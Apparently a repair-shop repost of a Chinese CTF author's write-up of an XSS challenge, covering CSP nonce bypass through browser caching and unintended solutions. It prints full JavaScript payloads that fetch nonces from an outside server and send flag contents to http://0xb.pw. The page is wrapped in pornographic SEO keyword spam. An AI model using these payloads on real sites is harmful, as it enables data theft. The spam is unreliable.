国产精品久av福利在线观看_亚洲一区国产精品_亚洲黄色一区二区三区_欧美成人xxxx_国产精品www_xxxxx欧美_国产精品久久婷婷六月丁香_国产特级毛片

錦州市廣廈電腦維修|上門維修電腦|上門做系統|0416-3905144熱誠服務,錦州廣廈維修電腦,公司IT外包服務
topFlag1 設為首頁
topFlag3 收藏本站
 
maojin003 首 頁 公司介紹 服務項目 服務報價 維修流程 IT外包服務 服務器維護 技術文章 常見故障
錦州市廣廈電腦維修|上門維修電腦|上門做系統|0416-3905144熱誠服務技術文章
pwnhub 絕對防御出題思路和反思

作者: 佚名  日期:2017-04-27 16:30:43   來源: 本站整理

 wnhub 絕對防御 出題思路和反思。由于整個站最初的時候其實是用來測試漏洞的,所以被改成題目的時候很多應該注意的地方沒有仔細推敲,在看了別人wp后仔細研究了一下,我發現題目本身漏洞就要求admin和xss點在同源下,整個漏洞被改成ctf題目是存在沖突的,再加上flag所在的地方使用了referer check本身就有問題,導致題目有了很多非預期解法,深感抱歉。

下面就完整的整理一下wp和所有的非預期攻擊方式

\

初逛站里面什么都沒有,聊天版的地方存在基本的xss,復寫就能繞過,但有 簡單的csp,允許unsafa-inline,session是httponly的,復寫構造xss讀admin頁面的消息(讓admin去請求api)

獲取頁面內容后,得到了后面站的地址,打開看看返回是這樣的

Wow, good guys,maybe you want /adminshigesha233e3333/#admin

\

再看看flag.php

hello, hacker, only admin can see it

只有管理員才能看,這里如果在user.php構造xss去讀flag的內容的話,會得到我的提示

nothing here,╮(╯-╰)╭,what ever you try, only from adminshigesha233e3333 can read it...

這里的提示本來意思是只有在admin目錄下才能讀到flag.php的內容,但是沒想到有一些人,在這里去日了我的判斷,而不是構造別的xss。

事實證明referer check不可取,切記切記

這位大佬就是攻擊了我的referer check,藍貓也是類似的方式

https://pwnhub.cn/media/writeup/121/79edbf2c-75da-48bb-8f5d-563d0048849b_b8b69656.pdf

下面我們回歸到正確的攻擊思路上去。

我們發現index.php是存在xss的樣子,但是后臺開啟了csp

\

這是一個比較特別的nonce script csp,屬于新型的csp,每次請求服務器都會更換新的字符串,如果字符串不匹配,那么腳本就會被攔截。(后面我會再發文章講這個CSP的攻擊方式)

我不知道盲測這個漏洞是怎么測試的,但你可能需要一篇文章

xss.html" data-ke-src="http://sirdarckcat.blogspot.jp/2016/12/how-to-bypass-csp-nonces-with-dom-xss.html" target="_blank">http://sirdarckcat.blogspot.jp/2016/12/how-to-bypass-csp-nonces-with-dom-xss.html

文章中提到了一點,如果瀏覽器并沒有請求后臺,那么csp就不會刷新,那么怎么才能讓它不刷新呢?瀏覽器緩存!

當服務端做出一部分配置的之后,如果頁面內容不涉及到后臺(僅涉及到前臺的變化),那么瀏覽器就會從緩存中加載內容。

\

具體瀏覽器緩存的機制就不多解釋了,我們發現后臺開啟了緩存機制,雖然只有30s,但是已然足夠了。

這里其實思路就呼之欲出了,先iframe請求一次,然后解出nonce的值,添加到script的屬性中,執行任意xss。

由于沒有同源策略的攔截,所以出現了很多問題,類似于wupco的payload,但小m的和cola的是正解。

https://pwnhub.cn/media/writeup/123/909db9f9-1bb4-4c5b-a697-b0fa223ed376_a599515c.pdf

下面貼出,跨域情況下的處理方式以及payload,也是我出題的初衷。

根據前面文章中的poc,我們重新梳理試圖讀取flag.php的流程。

1、向admin發送payload,admin頁面需要打開一個iframe目標為后臺并輸入一個form,用textrea吃掉頁面內容

IFrame

由于我們需要接收到這部分信息,而且后臺開啟csp,無法發送跨域請求,所以在自己服務器構造nonce.php文件解析請求,返回nonce字符串。(nonce.php必須保證保存字符串,在之后的請求中返回,在原poc中,這里是通過session保留的,但是我在實際測試的時候遇到了問題,我改成了文件儲存)

2、我們需要不斷請求nonce.php,并點擊提交按鈕,當返回有內容的時候,開啟新的iframe標簽,插入script標簽,讀取flag.php,以跳轉的方式傳出。

functioonn getNoonnce() { var xhr = new XMLHttpRequest(); xhr.open("GET", "http://115.28.78.16/noonnce.php", false); xhr.send(); return xhr.respoonnseText; } setTimeout(pollNoonnce, 1000); functioonn pollNoonnce() { var noonnce = getNoonnce(); if (noonnce == "") { setTimeout(pollNoonnce, 1000); } else { attack(noonnce); } } functioonn attack(noonnce) { var iframe = document.createElement("iframe"); var url = "http://127.0.0.1/xsstest_new/admin/#" var payload = "var xmlhttp = new XMLHttpRequest(); xmlhttp.open(\"GET\", \"flag.php\", false); xmlhttp.send(); var mess = xmlhttp.respoonnse; var xhr = new XMLHttpRequest(); locatioonn.href=\"http://0xb.pw?\"+mess;"; var validPayload = "alert('If you see this alert, CSP is not active')" iframe.src = url + payload + validPayload; document.body.appendChild(iframe); } setTimeout("document.getElementById('frame').coonntentWindow.document.forms[0].submit();", 3000);

{C}

由于xhr需要跨域請求nonce.php,而前臺的站中含有csp,這是一個預設的坑,細心的人不難發現,用戶的信息是通過請求api/getmessage.php獲取的

\

我們可以注意這個頁面并沒有csp,所以構造跳轉到getmessage.php,然后服務端設置 header("Access-Control-Allow-Origin:*"); ,成功繞過

全部payload如下

IFrame

if(locatioonn.pathname != "/api/getmessage.php"){ window.locatioonn.href = "http://" + document.domain + "/api/getmessage.php" } functioonn getNoonnce() { var xhr = new XMLHttpRequest(); xhr.open("GET", "http://115.28.78.16/noonnce.php", false); xhr.send(); return xhr.respoonnseText; } setTimeout(pollNoonnce, 1000); functioonn pollNoonnce() { var noonnce = getNoonnce(); if (noonnce == "") { setTimeout(pollNoonnce, 1000); } else { attack(noonnce); } } functioonn attack(noonnce) { var iframe = document.createElement("iframe"); var url = "http://127.0.0.1/xsstest_new/adminshigesha233e3333/#" var payload = "var xmlhttp = new XMLHttpRequest(); xmlhttp.open(\"GET\", \"flag.php\", false); xmlhttp.send(); var mess = xmlhttp.respoonnse; var xhr = new XMLHttpRequest(); locatioonn.href=\"http://0xb.pw?\"+mess;"; var validPayload = "alert('If you see this alert, CSP is not active')" iframe.src = url + payload + validPayload; document.body.appendChild(iframe); } setTimeout("document.getElementById('frame').coonntentWindow.document.forms[0].submit();", 3000);

\

但事實上,題目有個非常有趣的非預期漏洞。

如果你注意觀察admin目錄的index.php頁面

\

xss點和script標簽在同一行,所以就有了一個新的問題,如果我們構造一個

<script>  標簽,然后沒有閉合,就可以吃掉后面的標簽,把后面script標簽的屬性保留

最后貼下virink的wp

https://pwnhub.cn/media/writeup/119/45db4b4d-53dc-47de-afe8-e821bd070dfa_7032e508.pdf

這次的非預期問題實在抱歉,下次出題一定仔細思考下漏洞的流程和問題,還是太菜了Orz

 

</script>



熱門文章
  • 機械革命S1 PRO-02 開機不顯示 黑...
  • 聯想ThinkPad NM-C641上電掉電點不...
  • 三星一體激光打印機SCX-4521F維修...
  • 通過串口命令查看EMMC擦寫次數和判...
  • IIS 8 開啟 GZIP壓縮來減少網絡請求...
  • 索尼kd-49x7500e背光一半暗且閃爍 ...
  • 樓宇對講門禁讀卡異常維修,讀卡芯...
  • 新款海信電視機始終停留在開機界面...
  • 常見打印機清零步驟
  • 安裝驅動時提示不包含數字簽名的解...
  • 共享打印機需要密碼的解決方法
  • 圖解Windows 7系統快速共享打印機的...
  • 錦州廣廈電腦上門維修

    報修電話:13840665804  QQ:174984393 (聯系人:毛先生)   
    E-Mail:174984393@qq.com
    維修中心地址:錦州廣廈電腦城
    ICP備案/許可證號:遼ICP備2023002984號-1
    上門服務區域: 遼寧錦州市區
    主要業務: 修電腦,電腦修理,電腦維護,上門維修電腦,黑屏藍屏死機故障排除,無線上網設置,IT服務外包,局域網組建,ADSL共享上網,路由器設置,數據恢復,密碼破解,光盤刻錄制作等服務

    技術支持:微軟等
    fc2成人免费人成在线观看播放| 国产精品裸体一区二区三区| 国产福利久久精品| 五月花丁香婷婷| 九热这里只有精品| 99久久99久久免费精品小说 | 亚洲制服一区| 国产69精品久久久久777| 欧美性生活久久| 日韩av手机在线| 日av中文字幕| 精产国品一区二区| 国模私拍视频| 成人涩涩网站| 成人晚上爱看视频| 亚洲国产精品一区二区三区| 国产精品一区二区欧美| 中国极品少妇videossexhd| 性色av蜜臀av| 飘雪影视在线观看免费观看| 教室别恋欧美无删减版| 国产欧美日韩中文久久| 视频在线一区二区| 一区二区三视频| 午夜爱爱毛片xxxx视频免费看| 国产成人羞羞电影网站在线观看| av日韩国产| 欧美人与性动交a欧美精品| 日韩精品一区第一页| 亚洲欧洲日韩av| 中文字幕亚洲二区| 欧美一级黄色录像片| 国产97免费视频| www.91在线播放| 成人全视频在线观看在线播放高清| 国产福利资源在线| 黑人40厘米全进去| 国产电影一区| 26uuu久久天堂性欧美| 亚洲欧美日韩一区在线| 日韩视频在线观看国产| 国产一区二区播放| 男女爱爱免费网站| 亚洲区小说区图片区qvod| 亚洲欧美一区二区三区国产精品| 91国内在线视频| 久久久久久无码精品人妻一区二区| 日本xxxxxwwwww| 性欧美videos高清hd4k| 久久99国产精品免费| 国产偷亚洲偷欧美偷精品| 国产在线视频综合| 国产尤物在线观看| av免费在线观看网址| 日本亚洲天堂网| 亚洲欧美国产精品久久久久久久 | 亚洲午夜激情在线| 欧美猛男男办公室激情| 香蕉久久夜色| 欧美一区二区三区久久久| 黄色在线免费观看大全| 午夜亚洲福利在线老司机| 亚洲精品一区在线观看| 一卡二卡三卡视频| 亚洲精品视频网| 嫩草伊人久久精品少妇av杨幂| 久久综合色一综合色88| 日韩美女视频免费在线观看| 一级黄色性视频| 免费av片在线观看一道本| 欧美日韩视频| 日韩精品电影网| 国产 porn| 久久91av| 欧美成人激情| 精品国产髙清在线看国产毛片 | 视频一区二区在线观看| 亚洲一区二区影视| 午夜影院在线播放| 国产精品嫩草99a| 高清日韩一区| 亚洲大尺度在线观看| 国产盗摄一区二区| 国产欧美日韩在线视频| 成人免费观看网站| 亚洲精品国产欧美在线观看| 少妇视频一区| 亚洲欧美日韩国产一区二区三区 | 日本一区二区免费在线观看视频| 国产日韩在线一区| 日韩特级黄色片| 阿v视频在线| 亚洲少妇30p| 欧美日韩一区在线观看视频| 中文字幕在线观看国产| av在线日韩| 精品女厕一区二区三区| 在线观看欧美激情| 免费一区二区在线观看| 色综合久久中文| 日韩一级黄色片| 国产精品久久久久一区二区三区| 亚洲精品亚洲人成在线| 91久久香蕉国产日韩欧美9色| 色狠狠久久av五月综合| 成人午夜免费福利| 日本一区二区三区电影免费观看| 精品久久久久久中文字幕| 中文字幕在线亚洲精品| 亚洲精品手机在线| 日本一本不卡| 一本色道久久综合狠狠躁篇怎么玩| 91超薄肉色丝袜交足高跟凉鞋| av在线www| 成人av电影在线网| 99免费在线观看视频| 99久久国产热无码精品免费| 成人香蕉社区| 日韩理伦片在线| 国产成人精品免费一区二区| 国产精品自产拍在线观看中文| 国产精品久久久久久久久久久久久久久久久 | 国产99在线免费| 亚洲乱码国产乱码精品精软件| 欧洲vs亚洲vs国产| 亚洲另类激情图| 欧美在线观看视频| 精品人妻一区二区色欲产成人| 96sao精品免费视频观看| 欧美一级免费大片| 日本50路肥熟bbw| 日本蜜桃在线观看| 亚洲一区二区三区自拍| 北条麻妃69av| 黄网站app在线观看大全免费视频| 高清视频一区二区| 日韩欧美在线观看强乱免费| 国产免费大片| 久草这里只有精品视频| 国产一区自拍视频| 国产视频网站在线观看| 免费不卡在线视频| 精品久久久久久乱码天堂| 国产一区在线视频观看| 免费成人在线观看视频| 狠狠色综合色区| 在线观看91| 风间由美一区二区三区在线观看| 日韩国产一区久久| jjzzjjzzjjzz| 91看片淫黄大片一级在线观看| 日韩国产精品毛片| 浪潮av在线| 亚洲精品写真福利| 国产精品区在线| 秋霞影院午夜丰满少妇在线视频| 欧美天天综合色影久久精品| 第一页在线视频| 校园春色亚洲| 日韩第一页在线| 国产午夜久久久| 国产一区二区三区网| 欧美一二三视频| 好男人官网在线| 精品在线观看免费| 中文字幕制服丝袜在线| 久热久精久品这里在线观看 | 色狠狠av一区二区三区| 天堂久久久久久| 国产精品诱惑| 欧美成人sm免费视频| 99在线无码精品入口| 国产精品视频| 亚洲激情一区二区三区| 116美女写真午夜一级久久| 亚洲成人动漫在线观看| av鲁丝一区鲁丝二区鲁丝三区| 99久久伊人| 欧美猛男性生活免费| 人妻偷人精品一区二区三区| 免费观看一级特黄欧美大片| 在线观看成人av| 国产黄在线看| 精品国免费一区二区三区| 亚洲天堂一区在线| 亚洲大黄网站| 中文字幕欧美日韩一区二区三区 | 国产特级黄色录像| 中文字幕亚洲在线观看| 日本最新高清不卡中文字幕| 国产午夜三区视频在线| 久久久国际精品| 天堂在线精品视频| 2019中文亚洲字幕| 欧美亚洲国产日韩2020| 人人草人人干| 亚洲超碰精品一区二区| 久草视频免费播放| 伊人久久成人| 日本黄大片在线观看|